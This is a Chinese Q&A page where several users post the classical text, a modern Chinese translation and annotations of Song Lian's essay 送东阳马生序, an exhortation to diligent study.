《送东阳马生序》的原文和翻译?

2025-03-16 13:21:39
推荐回答(5个)
回答1:

原文
  余幼时即嗜(shì)学。家贫,无从致书以观,每假借于藏书之家,手自笔录,计日以还。天大寒,砚冰坚,手指不可屈伸,弗(fú)之怠(dài)。录毕,走送之,不敢稍逾约。以是人多以书假( jiǎ )余,余因得遍观群书。既加冠(guàn),益慕圣贤之道。又患无硕师名人与游,尝趋(qū)百里外,从乡之先达执经叩问。先达德隆望尊,门人弟子填其室,未尝稍降辞色。余立侍左右,援疑质理,俯身倾耳以请;或遇其叱(chì)咄(duō),色愈恭,礼愈至,不敢出一言以复;俟(sì)其欣悦,则又请焉。故余虽愚,卒获有所闻。
  当余之从师也,负箧(qiè)曳(yè)屣(xǐ)行深山巨谷中。穷冬烈风,大雪深数尺,足肤皲(jūn)裂而不知。至舍(shè),四支僵劲(jìng,多音字)不能动,媵(yìng)人持汤沃灌,以衾(qīn)拥覆,久而乃和(huò )。寓逆旅,主人日再食(si),无鲜肥滋味之享。同舍(shè)生皆被(pī)绮(qǐ)绣,戴朱缨(yīng)宝饰之帽,腰白玉之环,左佩刀,右备容臭(xiù),烨(yè)然若神人;余则缊(yùn)袍敝(bì)衣处(chǔ)其间,略无慕艳意。以中有足乐者,不知口体之奉不若人也。盖余之勤且艰若此。
  今虽耄老,未有所成,犹幸预君子之列,而承天子之宠光,缀公卿之后,日侍坐备顾问,四海亦谬称其氏名,况才之过于余者乎?
  今诸生学于太学,县官日有廪稍之供(gōng),父母岁有裘葛之遗(wèi),无冻馁(něi)之患矣;坐大厦之下而诵《诗》《书》,无奔走之劳矣;有司业、博士为之师,未有问而不告,求而不得者也;凡所宜有之书,皆集于此,不必若余之手录,假诸人而后见也。其业有不精,德有不成者,非天质之卑,则心不若余之专耳,岂他人之过哉!
  东阳马生君则,在太学已二年,流辈甚称其贤。余朝京师,生以乡人子谒(yè)余,撰(zhuàn)长书以为贽(zhì),辞甚畅达,与之论辨,言和(huó)而色夷。自谓少时用心于学甚劳,是可谓善学者矣!其将归见其亲也,余故道为学之难以告之。谓余勉乡人以学者,余之志也;诋我夸际遇之盛而骄乡人者,岂知余者哉!
  ——选自《宋学士文集》(《四部丛刊》 )
译文
  我小时就爱好读书学习。家里贫穷,没办法买到书来看,常常向有藏书的人家借,亲手抄录,计算约定的日子归还。天气非常寒冷,砚台里的墨水结成了坚硬的冰,手指冻僵不能弯曲伸直,不敢懈怠抄书。抄录完毕,跑着送过去,不敢超过约定的期限。因此人们大多都愿意把书借给我,我于是能够读到各种书籍。已经成年时,更加仰慕圣贤的学说。又担心没有学问渊博的老师、有名望的人可以交往交流。我曾经奔向百里之外,拿着经书向当地有道德有学问的前辈请教。前辈德高望重,学生挤满了他的屋子,不曾略微把话说的柔和些,把脸色放温和些。我站在他身旁陪伴,提出疑难,询问道理,弯下身子,侧着耳朵请教(表示尊敬而专心);有时会遇到前辈的训斥,脸色更加恭敬,礼节更加周到,不敢说一句话来辩解;等到他高兴时,就再次去请教他。因此我虽然很愚笨,但最终还是有所收获。
  当我跟随老师求学时,背着书箱,拖着鞋子在深山大谷中行走。隆冬季节,寒风凛冽,积雪有几尺深,脚上的皮肤因寒冷干燥而开裂却不知道。到了学舍,四肢僵硬不能动弹,女仆用热水(为我)浇洗,用被子(将我)裹起来,很久才暖和过来。住在旅馆里,主人每天只提供给我两顿饭,没有新鲜肥美的东西可以享用。与我同住的别的同学都穿着绣花的丝绸衣服,戴着用红色帽带和珠宝装饰的帽子,腰间佩戴白玉环,左边佩戴宝刀,右边挂着香袋,光彩照人的样子像神仙一样;我穿着破旧的衣服生活在他们之间,毫无羡慕的心,因为我内心有足以快乐的事(读书),不觉得吃的穿的不如别人。我求学的勤奋和艰苦大概就是这样。 
  现在我虽已年老,没有什么成就,但所幸还得以置身于君子的行列中,承受着天子的恩宠荣耀,追随在公卿之后,每天陪侍着皇上,听候询问,天底下也不适当地称颂自己的姓名,那更何况才能超过我的人呢?
  现在这些学生在太学里学习,朝廷天天供给膳食,父母年年送来冬服夏装,(这就)没有挨冻挨饿的忧虑了;坐在高大宽敞的房屋之下读着《诗》《书》,这就没有东奔西走的劳累了;有司业、博士做他们的老师,没有问而不告诉,求知而得不到的了;一切应有的书都集中在这里,(这就)不必像我那样亲手抄写,向别人借来然后才能看到。(要是)他们学业(还)不精通,德行(还)有不具备的,(那就)不是(他的)天质低下,而是(他的)心不如我专一罢了,难道是别人的过错吗?
  东阳马君则在太学中已学习二年了,同辈人很称赞他的贤能。我到京师朝见皇帝时,马生以同乡晚辈的身份拜见我,写了一封长信作为礼物,文辞很顺畅通达,同他辩论,言语温和而态度平和。他自己说少年时对于学习很用心、刻苦,这可以称作善于学习的人吧!他将要回家拜见父母,我将自己求学的艰难告诉他。如果说我勉励同乡努力学习,则是我的志意;如果诋毁我夸耀自己遭遇之好而在同乡前骄傲,难道是了解我吗!
注释
  [1]余:我。
  [2]手自:亲自动手。
  [3]嗜:特别爱好。
  [4]无从:无法。
  [5]致书:得到书。致:得到。
  [6]假借:同义复词。借。“假”也是借的意思。
  [7]弗之怠(dài):即“弗怠之”,不懈怠,不放松读书。弗,不。“之”是“怠”的宾语,指“笔录”这件事。否定句,代词作宾语,宾语前置。
  [8]走:跑。
  [9]逾约:超过约定的期限。
  [10]以是:因此。
  [11既加冠(guān):加冠之后,指已成年。古时男子二十岁举行加冠(束发戴帽)仪式,表示已经成人。后人常用“冠”或“加冠”表示年以二十。这里即指二十岁。既:已经。
  [12]患:担心,忧虑。
  [13]硕师:学问渊博的老师。硕,大。
  [14]尝:曾经。
  [15]趋:奔向。
  [16]先达:有道德有学问的前辈。
  [17]叩问:请教。叩,请教。同义复词。
  [18]德隆望尊:道德声望高。又作德高望重。望,声望,名望。隆:高。
  [19]门人弟子填其室:学生挤满了他的屋子。门人、弟子,学生。填,充。这里是拥挤的意思。
  [20]稍降辞色:把言辞放委婉些,把脸色放温和些。辞色,言语和脸色。
  [21]援疑质理:提出疑难,询问道理。援,引、提出。质,询问。
  [22]俯身倾耳以请:弯下身子,侧着耳朵请教(表现尊敬而专心)。
  [23]或:有时
  [24]叱(chì)咄(duò):训斥,呵责。
  [25]至:周到。
  [26]复:回答。
  [27]俟(sì):等待。
  [28]负箧(qiè)曳屣(xǐ):背着书箱,拖着鞋子(表示鞋破)。箧:书箱。屣:鞋。
  [29]穷冬:严冬。
  [30]皲(jūn)裂:皮肤因寒冷干燥而破裂。
  [31]舍:学舍,书馆。
  [32]支:通“肢”,肢体。
  [33]媵(yìng)人:陪嫁的婢女,这里指服侍的人。
  [34]汤:热水。
  [35]沃灌:浇洗。
  [36]衾(qīn):被子。
  [37]拥:围着。
  [38]而:表承接。
  [39]乃:才。
  [40]寓逆旅:寄居在旅店里。逆旅,旅店。
  [41]被(pī):通“披”,穿戴
  [42]缨:帽带
  [43]腰:在腰间挂着。腰,名词作动词。
  [44]容臭(xiù):香袋。臭:气味,这里指香气。
  [45]烨(yè)然:光彩耀眼的样子。
  [46]缊(yùn)袍敝(bì)衣:穿着破旧的衣服。缊,旧絮。敝,破。
  [47]略无慕艳意:毫无羡慕的意思。略无:毫无。慕、艳,羡慕。
  [48] 以中有足乐者,不知口体之奉不若人也:因为内心有足以快乐的事(指读书),不觉得吃的穿的比不上别人。中:内心。口体之奉:供奉口和身体,指吃的和穿的。奉:供养。
  [49]盖:大概。
  [50]道:说,讲。
  [51]耄(mào)老:年老。八九十岁的人称耄。宋濂此时已六十九岁。
  [52]幸预:有幸参与。君子指有道德学问的读书人。
  [53]缀:这里意为“跟随”。
  [54]谬称:不恰当地赞许。这是作者的谦词。
  [55]诸生:指太学生。
  [56]太学:明代中央政府设立的教育士人的学校,称作太学或国子监。
  [57]县官:这里指朝廷。
  [58]廪(lǐn)稍:当时政府免费供给的俸粮称“廪”或“稍”。
  [59]裘(qiú):皮衣。
  [60]葛:夏布衣服。
  [61]遗(wèi):赠送,给予,这里指接济。
  [62]司业、博士:分别为太学的次长官和教授。代指有学识的人。
  [63]非天质之卑:如果不是由于天资太低下。
  [64]流辈:同辈。
  [65]朝:旧时臣下朝见君主。宋濂写此文时,正值他从家乡到京城应天(南京)见朱元璋。
  [66]以乡人子:以同乡之子的身份。
  [67]谒(yè):拜见。
  [68]撰(zhuàn):同“撰”,写。
  [69]长书:长信。
  [70]贽(zhì至):古时初次拜见时所赠的礼物。
  [71]夷:平和。
  [72]“谓余”二句:认为我是在勉励同乡人努力学习,这是说到了我的本意。
  [73]诋:毁谤。
  [74]际遇之盛:遭遇的得意,指得到皇帝的赏识重用。
  [75]骄乡人:对同乡骄傲。

大哥给点分,l am poor!!!

回答2:

原文
  余幼时即嗜学。家贫,无从致书以观,每假借于藏书之家,手自笔录,计日以还。天大寒,砚冰坚,手指不可屈伸,弗之怠。录毕,走送之,不敢稍逾约。以是人多以书假余,余因得遍观群书。既加冠(guān),益慕圣贤之道。又患无硕师名人与游,尝趋(qū)百里外,从乡之先达执经叩问。先达德隆望尊,门人弟子填其室,未尝稍降辞色。余立侍左右,援疑质理,俯身倾耳以请;或遇其叱(chì)咄(duō),色愈恭,礼愈至,不敢出一言以复;俟(sì)其欣悦,则又请焉。故余虽愚,卒获有所闻。   当余之从师也,负箧(qiè)曳(yè)屣(xǐ)行深山巨谷中。穷冬烈风,大雪深数尺,足肤皲(jūn)裂而不知。至舍(shè),四支僵劲(jìng,多音字)不能动,媵(yìng)人持汤沃灌,以衾(qīn)拥覆,久而乃和。寓逆旅,主人日再食(sì),无鲜肥滋味之享。同舍(shè)生皆被(pī)绮(qǐ)绣,戴朱缨(yīng)宝饰之帽,腰白玉之环,左佩刀,右备容臭(xiù),烨(yè)然若神人;余则缊(yùn)袍敝(bì)衣处(chǔ)其间,略无慕艳意。以中有足乐者,不知口体之奉不若人也。盖余之勤且艰若此。   今虽耄老,未有所成,犹幸预君子之列,而承天子之宠光,缀公卿之后,日侍坐备顾问,四海亦谬称其氏名,况才之过于余者乎?   今诸生学于太学,县官日有廪稍之供(gōng),父母岁有裘葛之遗(wèi),无冻馁(něi)之患矣;坐大厦之下而诵《诗》《书》,无奔走之劳矣;有司业、博士为之师,未有问而不告,求而不得者也;凡所宜有之书,皆集于此,不必若余之手录,假诸人而后见也。其业有不精,德有不成者,非天质之卑,则心不若余之专耳,岂他人之过哉!   东阳马生君则,在太学已二年,流辈甚称其贤。余朝京师,生以乡人子谒(yè)余,撰(zhuàn)长书以为贽(zhì),辞甚畅达,与之论辨,言和(huó)而色夷。自谓少时用心于学甚劳,是可谓善学者矣!其将归见其亲也,余故道为学之难以告之。谓余勉乡人以学者,余之志也;诋我夸际遇之盛而骄乡人者,岂知余者哉!   
 译文   我小时候就爱好读书。家里贫穷,没办法买到书来读,常常向有藏书的人家借,(借来就)亲手抄录,计算约定的日子(按时)归还。(有时)天气非常寒冷,砚台里(的墨水)结成坚硬的冰,手指(冻僵)不能弯曲伸直,也不放松抄书。抄完,赶快送还书,不敢稍微超过约定的期限。因此人们大多都愿意把书借给我,我于是能够广泛的读到各种书籍。已经成年,更加仰慕圣贤的学说。又担心没有学问渊博的老师、有名望的人相交往,我曾经跑到\奔向百里之外,拿着经书向当地有道德有学问的前辈请教。那位前辈德高望重,学生挤满了他的屋子,但他不曾略微把言辞放委婉些,把脸色放温和些。我站在他身旁伺候,提出疑难,询问道理,弯下身子,侧着耳朵(表示尊敬而专心)请教;有时遇到老师的训斥,(我的)态度更加恭敬,礼节更加周到,不敢说一句话来辩解;等到他高兴时,就再次去请教。因此我虽然愚笨,但最终\终于还是有所收获。   当初我去拜师,背着书箱,拖着破鞋子,走在深山大谷中。严冬寒风凛冽,积雪深达数尺,脚上的皮肤因寒冷干燥而破裂却不知道。到了学舍,四肢僵硬不能动弹,女仆端来热水(给我)浇洗,用被子围着、盖着(我),很久才暖和过来。寄住在旅店里,主人每天只提供两顿饭,没有新鲜肥美的食物可以享用。同宿舍的学生都穿着绣花的丝绸衣服,戴着用红色帽带和珠宝装饰的帽子,腰间挂着白玉环,左边佩戴腰刀,右边垂挂香袋,光彩照人的样子像神仙一样;我却穿着破旧的衣服生活在他们之间,毫无羡慕之心\的意思,因为内心有足以快乐的事(读书),就不觉得吃的穿的不如别人了。我求学时的勤奋和艰苦的情况大概就是这样。    现在我虽已年老,没有什么成就,但所幸还得以置身于君子的行列中,承受着天子的恩宠荣耀,追随在公卿之后,每天陪侍着皇上,听候询问,天底下也不适当地称颂自己的姓名,那更何况才能超过我的人呢?   现在在太学里学习的各个学生,朝廷每天有米粮供给,父母送来冬夏服装,(这就)没有受冻挨饿的忧虑了;坐在宽敞的厅堂里面诵读《诗》《书》,(这就)没有东奔西走的劳累了;还有司业、博士做他们的老师,没有询问而得不到解答、探求学问而得不到收获的情况了;凡是应有的书都集中在这儿,不必像我那样亲手抄写,向别人借来后才能看到。他们学业如果有不精通的地方,品德有没有养成的地方,不是天资低下,就是用心不如我专一罢了,难道是别人的过失吗?   东阳马君则在太学中读书已两年了,同辈人很称赞他的贤能。我到京师朝见皇帝时,马生以同乡晚辈的身份拜见我,写了一封长信作为表示敬意的见面礼物,文辞很流畅通达,同他辩论问题,言语温和而脸色平和。他自己说少年时对于学习很用心、刻苦,这可以称作善于学习的人吧。他将要回家探望他的父母,因此我将自己求学的艰难告诉他。如果说我勉励同乡努力学习,则是我的志意;如果诋毁我夸耀自己遭遇之好而在同乡前骄傲,难道是了解我吗 !
注释
[1]余:我。   
[2]手自:亲自动手。   
[3]嗜:特别爱好。   
[4]无从:无法。   
[5]致书:得到书。致:得到。   
[6]假借:同义复词。借。“假”也是借的意思。   
[7]弗之怠(dài):即“弗怠之”,不懈怠,不放松读书。弗,不。“之”是“怠”的宾语,指“笔录”这件事。否定句,代词作宾语,宾语前置。   
[8]走:跑。   [
9]逾约:超过约定的期限。   
[10]以是:因此。   
[11既加冠(guān):加冠之后,指已成年。古时男子二十岁举行加冠(束发戴帽)仪式,表示已经成人。后人常用“冠”或“加冠”表示年以二十。这里即指二十岁。既:已经。   
[12]患:担心,忧虑。   
[13]硕师:学问渊博的老师。硕,大。   
[14]尝:曾经。  
 [15]趋:奔向。   
[16]先达:有道德有学问的前辈。   
[17]叩问:请教。叩,请教。同义复词。   
[18]德隆望尊:道德声望高。又作德高望重。望,声望,名望。隆:高。   
[19]门人弟子填其室:学生挤满了他的屋子。门人、弟子,学生。填,充。这里是拥挤的意思。   
[20]稍降辞色:把言辞放委婉些,把脸色放温和些。辞色,言语和脸色。   
[21]援疑质理:提出疑难,询问道理。援,引、提出。质,询问。   
[22]俯身倾耳以请:弯下身子,侧着耳朵请教(表现尊敬而专心)。   
[23]或:有时   [
24]叱(chì)咄(duò):训斥,呵责。   
[25]至:周到。   
[26]复:回答。   
[27]俟(sì):等待。   
[28]负箧(qiè)曳屣(xǐ):背着书箱,拖着鞋子(表示鞋破)。箧:书箱。屣:鞋。   
[29]穷冬:严冬。  [30]皲(jūn)裂:皮肤因寒冷干燥而破裂。   
[31]舍:学舍,书馆。   
[32]支:通“肢”,肢体。   
[33]媵(yìng)人:陪嫁的婢女,这里指女仆。   
[34]汤:热水。   
[35]沃灌:浇洗。   
[36]衾(qīn):被子。   
[37]拥:围着。   
[38]而:表承接。   
[39]乃:才。   
[40]寓逆旅:寄居在旅店里。逆旅,旅店。   
[41]被(pī):通“披”,穿戴   
[42]缨:帽带   
[43]腰:在腰间挂着。腰,名词作动词。   
[44]容臭(xiù):香袋。臭:气味 这里指香气   
[45]烨(yè)然:光彩耀眼的样子。   
[46]缊(yùn)袍敝(bì)衣:穿着破旧的衣服。缊,旧絮。敝,破。   
[47]略无慕艳意:毫无羡慕的意思。略无:毫无。慕、艳,羡慕。   
[48] 以中有足乐者,不知口体之奉不若人也:因为内心有足以快乐的事(指读书),不觉得吃的穿的比不上别人。中:内心。口体之奉:供奉口和身体,指吃的和穿的。奉:供养。   
[49]盖:大概。   
[50]道:说,讲。   
[51]耄(mào)老:年老。八九十岁的人称耄。宋濂此时已六十九岁。   
[52]幸预:有幸参与。君子指有道德学问的读书人。   
[53]缀:这里意为“跟随”。   [
54]谬称:不恰当地赞许。这是作者的谦词。   
[55]诸生:指太学生。   
[56]太学:明代中央政府设立的教育士人的学校,称作太学或国子监。   
[57]县官:这里指朝廷。   
[58]廪(lǐn)稍:当时政府免费供给的俸粮称“廪”或“稍”。   
[59]裘(qiú):皮衣。   
[60]葛:葛布。   
[61]遗(wèi):赠送,给予,这里指接济。   
[62]司业、博士:分别为太学的次长官和教授。代指有学识的人。   
[63]非天质之卑:如果不是由于天资太低下。   
[64]流辈:同辈。 流:平。   [
65]朝:旧时臣下朝见君主。宋濂写此文时,正值他从家乡到京城应天(南京)见朱元璋。   
[66]以乡人子:以同乡之子的身份。   
[67]谒(yè):拜见。   
[68]撰(zhuàn):同“撰”,写。   
[69]长书:长信。   
[70]贽(zhì至):古时初次拜见时所赠的礼物。   
[71]夷:平和。   [
72]“谓余”二句:认为我是在勉励同乡人努力学习,这是说到了我的本意。   [
73]诋:毁谤。   
[74]际遇之盛:遭遇的得意,指得到皇帝的赏识重用。  
[75]骄乡人:对同乡骄傲。

《送东阳马生序》节选自《宋学士文集》(《四部从刊》本).明洪武十一年(1378),宋濂告老还乡的第二年,应诏从家乡浦江(浙江省浦江县)到应天(今江苏南京)去朝见朱元璋时,正在太学读书的同乡晚辈马君则前来拜访,宋濂写了这篇序,介绍自己的学习经历和学习态度,勉励他人勤奋学习,成为德才兼备的人。本课只节选了序文的前半部分。在这部分中,作者并没有因为自己的地位和长者身份,就板起面孔说教,而是现身说法,叙述自己少年时代求学的艰难和勤奋学习的经历,晓之以理,动之以情,作者对马君则的殷切期望,寓于其中。经过千辛万苦的努力,终于有所成就。

回答3:

原文:
余幼时即嗜学。家贫,无致书以观,每假借于藏书之家,手自笔录,计日以还。天大寒,观冰坚,手指不可屈伸,弗之怠。录毕,走送了,不敢销逾约。以是人多以书假余,余因得遍观群书。既加冠,益慕圣贤之道。又患无硕师名人与游,尝趋百里外从乡之先达执经叩问。先达德隆望尊,门人弟子填其室,未尝稍降辞色。余立侍左右,援疑质理,俯身倾耳以请;或遇其叱咄,色愈恭,礼愈至,不敢出一言以复;俟其欣悦,则又请焉。故余虽愚,卒获有所闻。

当余之从师也,负箧曳屣,行深山巨谷中,穷冬烈风,大雪深数尺,足肤皲裂而不知。至舍,四支僵劲不能动,媵人持汤沃灌,以衾拥覆,久而乃和。寓逆旅主人,日再食,无鲜肥滋味之享。同舍生皆被绮绣,戴朱缨宝饰之帽,腰白玉之环,左佩刀,右备容臭,烨然若神人;余则緼袍敝衣处其间,略无慕艳意,以中有足乐者,不知口体之奉不若人也。盖余之勤且艰苦此。

今诸生学于太学,县官日有禀销之供,父母岁有裘葛之遗,无冻馁之患矣;坐大厦之下而诵《诗》《书》,无奔走之劳矣;有司业、博士为之师,未有问而不告,求而不得者也;凡所宜有之书皆集于此,不必若余之手录,假诸人而后见也。其业有不精,德有不成者,非天质之卑,则心不若余之专耳,岂他人之过哉?

东阳马生君则在太学已二年,流辈甚称其贤。余朝京师,生以乡人子谒余。撰长书以为贽,辞甚畅达。与之论辨,言和而色夷。自谓少时用心于学甚劳。是可谓善学者矣。其将归见其亲也,余故道为学之难以告之。

译文:
我小时候就特别喜欢读书。家里贫穷,没有办法买书来读,常常向藏书的人家去借,(借来)就亲书抄写,计算着日期按时送还。天很冷时,砚池里的水结成坚硬的冰,手指(冻得)不能弯曲和伸直,也不因此停止。抄写完了,赶快送还借书,不敢稍稍超过约定的期限。因此人家多愿意把书借给我,我于是能够阅读很多书。到了成年以后,更加仰慕古代圣贤的学说,又担心没有才学渊博的老师和名人相交往(请教),曾经跑到百里以外向同乡有名望的前辈拿着书请教。前辈道德、声望高,高人弟子挤满了他的屋子,他从来没有把语言放委婉些,把脸色放温和些。我恭敬地站在他旁边。提出疑难,询问道理,弯着身子侧着耳朵请教。有时遇到他人斥责人,(我的)表情更加恭顺,礼节更加周到,一句话不敢回答;等到他高兴了,就又请教。所以我虽很笨,终于获得多教益。

当我去求师的时候,背着书籍,拖着鞋子,在深山大谷中奔走,深冬刮着凛冽的寒风,大雪有几尺深,脚上的皮肤冻裂了不知道。等走到旅舍,四肢冻僵了不能动弹,服侍的人拿来热水(给我)洗手暖脚,拿被子(给我)盖上,过很久才暖和过来。在旅馆里,每天只吃两顿饭,没有鲜美的食物可以享受,一起住在旅馆的同学们,都穿着华美的衣服戴着红缨和宝石装饰的帽子,腰上佩带白玉环,左边佩着刀,右边挂着香袋,闪光耀眼好像仙人。而我却穿着破棉祆旧衣衫生活在他们中间,毫无羡慕的心思。因为我心中有自己的乐趣,不感到吃穿的享受不如别人了。我求学时的勤恳艰辛情况大体如此。

现在这些学生在大学里学习,政府天天供给膳食,父母年年送来冬服夏装,(这就)没有挨冻挨饿的忧虑啦;坐在高大宽敞的房屋之下读着《诗》《书》,这就)没有东奔西走的劳累啦;有司业、博士做他们的老师,没有问而不告诉,求知而得不到的啦;一切应有的书都集中在这里,(这就)不必象我那样亲手抄写,向别人借来然后才能看到啦。(要是)他们学业(还)不精通,德行(还)有不具备的,(那就)不是(他的)智力低下,而是(他的)思想不象我那样专注罢了,难道是别人的过失吗?

马生君在大学学习已经两年了,同辈的人称赞他贤能。去官之后进京朝见皇帝,他以同乡晚辈的身份拜见我。写了一篇长信做见面礼,言辞很流畅通达。同论的文相比,语言委婉、神色和悦。自称小时候学习用功、刻苦。是可以称得上爱好学习的人。他将要回家乡探视他的双亲,我特意告诉了他求学的艰难。

回答4:

原文
  余幼时即嗜(shì)学。家贫,无从致书以观,每假借于藏书之家,手自笔录,计日以还。天大寒,砚冰坚,手指不可屈伸,弗(fú)之怠(dài)。录毕,走送之,不敢稍逾约。以是人多以书假( jiǎ )余,余因得遍观群书。既加冠(guàn),益慕圣贤之道。又患无硕师名人与游,尝趋(qū)百里外,从乡之先达执经叩问。先达德隆望尊,门人弟子填其室,未尝稍降辞色。余立侍左右,援疑质理,俯身倾耳以请;或遇其叱(chì)咄(duō),色愈恭,礼愈至,不敢出一言以复;俟(sì)其欣悦,则又请焉。故余虽愚,卒获有所闻。   当余之从师也,负箧(qiè)曳(yè)屣(xǐ)行深山巨谷中。穷冬烈风,大雪深数尺,足肤皲(jūn)裂而不知。至舍(shè),四支僵劲(jìng,多音字)不能动,媵(yìng)人持汤沃灌,以衾(qīn)拥覆,久而乃和。寓逆旅,主人日再食(sì),无鲜肥滋味之享。同舍(shè)生皆被(pī)绮(qǐ)绣,戴朱缨(yīng)宝饰之帽,腰白玉之环,左佩刀,右备容臭(xiù),烨(yè)然若神人;余则缊(yùn)袍敝(bì)衣处(chǔ)其间,略无慕艳意。以中有足乐者,不知口体之奉不若人也。盖余之勤且艰若此。   今虽耄老,未有所成,犹幸预君子之列,而承天子之宠光,缀公卿之后,日侍坐备顾问,四海亦谬称其氏名,况才之过于余者乎?   今诸生学于太学,县官日有廪稍之供(gōng),父母岁有裘葛之遗(wèi),无冻馁(něi)之患矣;坐大厦之下而诵《诗》《书》,无奔走之劳矣;有司业、博士为之师,未有问而不告,求而不得者也;凡所宜有之书,皆集于此,不必若余之手录,假诸人而后见也。其业有不精,德有不成者,非天质之卑,则心不若余之专耳,岂他人之过哉!   东阳马生君则,在太学已二年,流辈甚称其贤。余朝京师,生以乡人子谒(yè)余,撰(zhuàn)长书以为贽(zhì),辞甚畅达,与之论辨,言和(huó)而色夷。自谓少时用心于学甚劳,是可谓善学者矣!其将归见其亲也,余故道为学之难以告之。谓余勉乡人以学者,余之志也;诋我夸际遇之盛而骄乡人者,岂知余者哉!   ——选自《文宪集》   译文   我小时候就爱好读书。家里贫穷,没办法买到书来读,常常向有藏书的人家借,(借来就)亲手抄录,计算约定的日子(按时)归还。(有时)天气非常寒冷,砚台里(的墨水)结成坚硬的冰,手指(冻僵)不能弯曲伸直,也不放松抄书。抄完,赶快送还书,不敢稍微超过约定的期限。因此人们大多都愿意把书借给我,我于是能够广泛的读到各种书籍。已经成年,更加仰慕圣贤的学说。又担心没有学问渊博的老师、有名望的人相交往,我曾经跑到\奔向百里之外,拿着经书向当地有道德有学问的前辈请教。那位前辈德高望重,学生挤满了他的屋子,但他不曾略微把言辞放委婉些,把脸色放温和些。我站在他身旁伺候,提出疑难,询问道理,弯下身子,侧着耳朵(表示尊敬而专心)请教;有时遇到老师的训斥,(我的)态度更加恭敬,礼节更加周到,不敢说一句话来辩解;等到他高兴时,就再次去请教。因此我虽然愚笨,但最终\终于还是有所收获。   当初我去拜师,背着书箱,拖着破鞋子,走在深山大谷中。严冬寒风凛冽,积雪深达数尺,脚上的皮肤因寒冷干燥而破裂却不知道。到了学舍,四肢僵硬不能动弹,女仆端来热水(给我)浇洗,用被子围着、盖着(我),很久才暖和过来。寄住在旅店里,主人每天只提供两顿饭,没有新鲜肥美的食物可以享用。同宿舍的学生都穿着绣花的丝绸衣服,戴着用红色帽带和珠宝装饰的帽子,腰间挂着白玉环,左边佩戴腰刀,右边垂挂香袋,光彩照人的样子像神仙一样;我却穿着破旧的衣服生活在他们之间,毫无羡慕之心\的意思,因为内心有足以快乐的事(读书),就不觉得吃的穿的不如别人了。我求学时的勤奋和艰苦的情况大概就是这样。    现在我虽已年老,没有什么成就,但所幸还得以置身于君子的行列中,承受着天子的恩宠荣耀,追随在公卿之后,每天陪侍着皇上,听候询问,天底下也不适当地称颂自己的姓名,那更何况才能超过我的人呢?   现在在太学里学习的各个学生,朝廷每天有米粮供给,父母送来冬夏服装,(这就)没有受冻挨饿的忧虑了;坐在宽敞的厅堂里面诵读《诗》《书》,(这就)没有东奔西走的劳累了;还有司业、博士做他们的老师,没有询问而得不到解答、探求学问而得不到收获的情况了;凡是应有的书都集中在这儿,不必像我那样亲手抄写,向别人借来后才能看到。他们学业如果有不精通的地方,品德有没有养成的地方,不是天资低下,就是用心不如我专一罢了,难道是别人的过失吗?   东阳马君则在太学中读书已两年了,同辈人很称赞他的贤能。我到京师朝见皇帝时,马生以同乡晚辈的身份拜见我,写了一封长信作为表示敬意的见面礼物,文辞很流畅通达,同他辩论问题,言语温和而脸色平和。他自己说少年时对于学习很用心、刻苦,这可以称作善于学习的人吧。他将要回家探望他的父母,因此我将自己求学的艰难告诉他。如果说我勉励同乡努力学习,则是我的志意;如果诋毁我夸耀自己遭遇之好而在同乡前骄傲,难道是了解我吗!
注释

回答5:

余幼时即嗜(shì)学。家贫,无从致书以观,每假借于藏书之家,手自笔录,计日以还。天大寒,砚冰坚,手指不可屈伸,弗之怠(dài)。录毕,走送之,不敢稍逾约。以是人多以书假( jiè )余,余因得遍观群书。既加冠(guān),益慕圣贤之道。又患无硕师名人与游,尝趋百里外,从乡之先达执经叩问。先达德隆望尊,门人弟子填其室,未尝稍降辞色。余立侍左右,援疑质理,俯身倾耳以请;或遇其叱(chì)咄(duō),色愈恭,礼愈至,不敢出一言以复;俟(sì)其欣悦,则又请焉。故余虽愚,卒获有所闻。 当余之从师也,负箧(qiè)曳(yè)屣(xǐ),行深山巨谷中。穷冬烈风,大雪深数尺,足肤皲(jūn)裂而不知。至舍(shè),四支僵劲(jìng)不能动,媵(yìng)人持汤沃灌,以衾(qīn)拥覆,久而乃和(hé)。寓逆旅,主人日再食(shí),无鲜肥滋味之享。同舍(shè)生皆被(pī)绮(qǐ)绣,戴朱缨(yīng)宝饰之帽,腰白玉之环,左佩刀,右备容臭(xiù),烨(yè)然若神人;余则缊(yùn)袍敝(bì)衣处(chǔ)其间,略无慕艳意。以中有足乐者,不知口体之奉不若人也。盖余之勤且艰若此。
译文:我幼年的时候就特别喜爱读书学习。但是家里贫穷,没办法得到书来看,常常向有藏书的人家借,用手亲自抄录,算好约定的日子归还。(即使)天气非常寒冷,砚台里的水结成了坚硬的冰,手指冻僵不能弯曲伸直,也不放松抄书。抄录完毕,跑着送过去,不敢稍微超过约定的期限。因此人们都(愿意)把书借给我,我因此能够读到各种各样的书。已经成年,(我)更加仰慕圣贤的学说,又担心自己无法和学问渊博的老师、有名望的人交流。我曾经跑到百里之外,拿着经书向当地有道德有学问的前辈请教。前辈德高望重,(向他求教的)学生挤满了他的屋子,(他)从来没有把言辞放委婉些,把脸色放温和些。我站在他身旁恭敬地等候着,提出疑难,询问道理,弯下身子,侧着耳朵请教(表示尊敬而专心);有时会遇到前辈的训斥,我的表情更加恭敬,礼节也更加周到,不敢反驳一句话来回复;等到他高兴时,就再次去请教他。所以我虽然很愚笨,但最终还是能获得一些学识和见闻。 当我从师求学时,背着书箱,拖着鞋子,在深山大谷中行走。隆冬寒风凛冽,踏着几尺深的积雪,脚上的皮肤因寒冷干燥而开裂却不知道。回到学舍,四肢僵硬动弹不得,服侍的人用热水(为我)浇洗,用被子(将我)裹起来,很久才暖和起来。住在旅馆里,旅店老板每天提供两顿饭,没有像鱼、肥肉这样新鲜肥美味道好的东西可以享用。与我同住别的同学都穿着华丽的衣服,戴着有红色帽带和珠宝装饰的帽子,腰间佩戴白玉做的玉环,左边佩戴宝刀,右边挂着香袋,光彩照人的样子好像神仙一样;我穿着破旧的衣服生活在他们之间,却毫无羡慕的意思,(那是)因为(我)内心有足以快乐的事(读书),不觉得吃的穿的不如人。我求学的勤奋和艰苦大概就是像这个样子。

